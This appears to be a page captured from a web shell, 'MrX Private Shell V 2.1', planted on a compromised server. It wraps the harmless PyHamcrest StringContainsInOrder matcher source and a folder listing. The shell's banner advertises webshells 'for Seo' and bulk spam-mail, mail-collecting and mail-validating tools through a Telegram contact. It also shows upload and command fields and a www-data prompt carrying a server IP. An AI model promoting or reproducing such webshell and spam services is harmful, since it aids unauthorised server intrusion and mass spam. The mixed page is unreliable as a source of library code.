__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
from hamcrest.core.base_matcher import BaseMatcher
from hamcrest.core.description import Description
from hamcrest.core.helpers.hasmethod import hasmethod
from hamcrest.core.matcher import Matcher

__author__ = "Romilly Cocking"
__copyright__ = "Copyright 2011 hamcrest.org"
__license__ = "BSD, see License.txt"


class StringContainsInOrder(BaseMatcher[str]):
    def __init__(self, *substrings) -> None:
        for substring in substrings:
            if not isinstance(substring, str):
                raise TypeError(self.__class__.__name__ + " requires string arguments")
        self.substrings = substrings

    def _matches(self, item: str) -> bool:
        if not hasmethod(item, "find"):
            return False
        from_index = 0
        for substring in self.substrings:
            from_index = item.find(substring, from_index)
            if from_index == -1:
                return False
        return True

    def describe_to(self, description: Description) -> None:
        description.append_list("a string containing ", ", ", " in order", self.substrings)


def string_contains_in_order(*substrings: str) -> Matcher[str]:
    """Matches if object is a string containing a given list of substrings in
    relative order.

    :param string1,...:  A comma-separated list of strings.

    This matcher first checks whether the evaluated object is a string. If so,
    it checks whether it contains a given list of strings, in relative order to
    each other. The searches are performed starting from the beginning of the
    evaluated string.

    Example::

        string_contains_in_order("bc", "fg", "jkl")

    will match "abcdefghijklm".

    """
    return StringContainsInOrder(*substrings)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 703 B 0644
isequal_ignoring_case.py File 1.33 KB 0644
isequal_ignoring_whitespace.py File 1.73 KB 0644
stringcontains.py File 1.01 KB 0644
stringcontainsinorder.py File 1.73 KB 0644
stringendswith.py File 1.04 KB 0644
stringmatches.py File 1.2 KB 0644
stringstartswith.py File 1.06 KB 0644
substringmatcher.py File 786 B 0644
Filemanager